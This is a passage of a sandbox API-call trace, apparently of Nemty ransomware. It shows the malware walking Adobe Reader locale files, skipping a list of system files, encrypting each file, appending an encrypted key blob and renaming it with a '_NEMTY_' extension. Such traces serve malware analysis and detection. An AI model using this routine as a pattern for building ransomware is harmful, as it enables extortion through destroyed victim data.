lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.807] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\RdLang32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\rdlang32.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\RdLang32.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\rdlang32.esp._nemty_kgobjgd_")) returned 1 [0175.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.808] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.ESP", cAlternateFileName="READOU~1.ESP")) returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2=".") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="..") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="...") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="windows") returned -1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="rsa") returned -1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="NTDETECT.COM") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="ntldr") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="MSDOS.SYS") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="IO.SYS") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="boot.ini") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="boot.ini") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="ntuser.dat") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="desktop.ini") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="CONFIG.SYS") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="RECYCLER") returned -1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="bootmgr") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="programdata") returned 1 [0175.808] lstrcmpiW (lpString1="ReadOutLoud.ESP", lpString2="appdata") returned 1 [0175.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ESP", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ESP", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.ESP", lpUsedDefaultChar=0x0) returned 15 [0175.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ESP", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ESP", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.ESP", lpUsedDefaultChar=0x0) returned 15 [0175.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ESP", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ESP", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.ESP", lpUsedDefaultChar=0x0) returned 15 [0175.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ESP", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ESP", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.ESP", lpUsedDefaultChar=0x0) returned 15 [0175.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.809] Sleep (dwMilliseconds=0x5) [0175.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c700cf0, dwHighDateTime=0x1d561e8)) [0175.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c700cf0, dwHighDateTime=0x1d561e8)) [0175.810] GetLastError () returned 0x0 [0175.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.810] GetLastError () returned 0x0 [0175.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.810] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.810] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.810] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.810] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="0O5SL0pOltxgZtY6NIG7cwXzSkHY79/9Wht+IFOKZiq7s8uhObNxwbSRDMy//MoY\r\nUGYIWqyzpDaizSg+IXaGsUtOT5gPqe7gbTZGaJSbE5egLkxboWexKU40KHuTaiBA\r\nN892PWT2GBPlhUVLLKKksEhk9HbjOjJn8J0b/S/4SETCrc1uMbvZgq+kSFNN0Obe\r\nT/OKYu7NyjBX97ruMYYCfg73RPXkfTH5eggmf+CJJDZQ/eoEBEmFahESq3n5UBAy\r\n50aAs9suijyQZfbzdiEhKnrhqmXutWcO0+iZtQFzG0yiJbML/muyyMx3R6ThXLsE\r\nkIdNOrYQyFDtlwBHAqx8DA==\r\n", pcchString=0x653e5dc) returned 1 [0175.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.810] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\ReadOutLoud.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\readoutloud.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.811] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0175.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0175.811] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.811] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0175.814] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.814] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0175.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.814] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0175.814] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.814] CloseHandle (hObject=0x2e8) returned 1 [0175.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.814] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\ReadOutLoud.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\readoutloud.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\ReadOutLoud.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\readoutloud.esp._nemty_kgobjgd_")) returned 1 [0175.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.815] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.ESP", cAlternateFileName="")) returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2=".") returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="..") returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="...") returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="windows") returned -1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="rsa") returned -1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="NTDETECT.COM") returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="ntldr") returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="MSDOS.SYS") returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="IO.SYS") returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="boot.ini") returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="boot.ini") returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="ntuser.dat") returned 1 [0175.815] lstrcmpiW (lpString1="reflow.ESP", lpString2="desktop.ini") returned 1 [0175.816] lstrcmpiW (lpString1="reflow.ESP", lpString2="CONFIG.SYS") returned 1 [0175.816] lstrcmpiW (lpString1="reflow.ESP", lpString2="RECYCLER") returned 1 [0175.816] lstrcmpiW (lpString1="reflow.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.816] lstrcmpiW (lpString1="reflow.ESP", lpString2="bootmgr") returned 1 [0175.816] lstrcmpiW (lpString1="reflow.ESP", lpString2="programdata") returned 1 [0175.816] lstrcmpiW (lpString1="reflow.ESP", lpString2="appdata") returned 1 [0175.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ESP", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ESP", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ESP", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ESP", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.816] Sleep (dwMilliseconds=0x5) [0175.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c726e50, dwHighDateTime=0x1d561e8)) [0175.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c726e50, dwHighDateTime=0x1d561e8)) [0175.825] GetLastError () returned 0x0 [0175.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.825] GetLastError () returned 0x0 [0175.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.826] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.826] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.826] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.826] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="w3uKj0KsXmSXRJyPjIrDMT69wQ7L9NfWpXP3gs2Ymr6FcLe1IAcleT8Kf8CzB85z\r\nSX1pSkdVqRFUP4zES/v1Ysh8Lh8zlYJSkp+9Sf4s4npU35yA7kvASIgPuUXesh2T\r\nRf6L3TNlCRTLBtWM6MaWYu42wcQuLn2k6VF+8GnGZGbBbSvCKoMM1uKpG3ojqYmD\r\n7FBMlWrHC4BQBJoBqoADiAfK+5sJwiCYL5SoKOYeI4iS3AkyrolizEFPmDQ7Dyjk\r\nwXPMLDU9UVxgpY2RSLl8bUni/iK9nJisxJfMew4MjG8PzxFAKlB3BwrvwqwbZQIe\r\nF64Z4AivavXQYmFvWWGDOA==\r\n", pcchString=0x653e5dc) returned 1 [0175.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\reflow.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\reflow.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.827] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0175.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0175.827] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.827] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0175.829] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.829] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0175.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.829] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0175.829] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.829] CloseHandle (hObject=0x2e8) returned 1 [0175.829] RtlAllocateHeap (HeapHandle=0x4f90000, 